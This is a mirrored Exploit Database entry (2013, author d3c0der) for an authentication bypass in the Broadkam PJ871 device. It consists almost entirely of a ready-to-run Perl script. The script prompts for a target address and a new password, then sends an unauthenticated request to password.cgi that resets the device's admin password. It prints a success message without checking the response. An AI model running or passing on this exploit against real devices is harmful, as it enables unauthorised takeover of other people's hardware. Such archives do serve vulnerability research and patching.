Broadkam PJ871 – Authentication Bypass

• Exploit Database
• 12 阅读

• 作者： d3c0der
  日期： 2013-07-27
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/27134/

• #!/usr/bin/perl
  #d3c0der
  
  
  use HTTP::Request;
  use LWP::UserAgent;
  
   
  
  print "= Target : ";
  $ip=<STDIN>;
  chomp $ip;
  print "= new password : ";
  $npass=<STDIN>;
  chomp $npass;
  
  if ( $ip !~ /^http:/ ) {
  $ip = 'http://' . $ip;
  }
  if ( $ip !~ /\/$/ ) {
  $ip = $ip . '/';
  }
  print "\n";
  
  print "->attacking , plz wait ! : $ip\n";
   
  
   
  
  @path1=("password.cgi?sysPassword=$npass");
  
  foreach $ways(@path1){
  
  $final=$ip.$ways;
  
  my $req=HTTP::Request->new(GET=>$final);
  my $ua=LWP::UserAgent->new();
  $ua->timeout(30);
  my $response=$ua->request($req);
  
   
  }
   
  print "[-] password changed to $npass \n";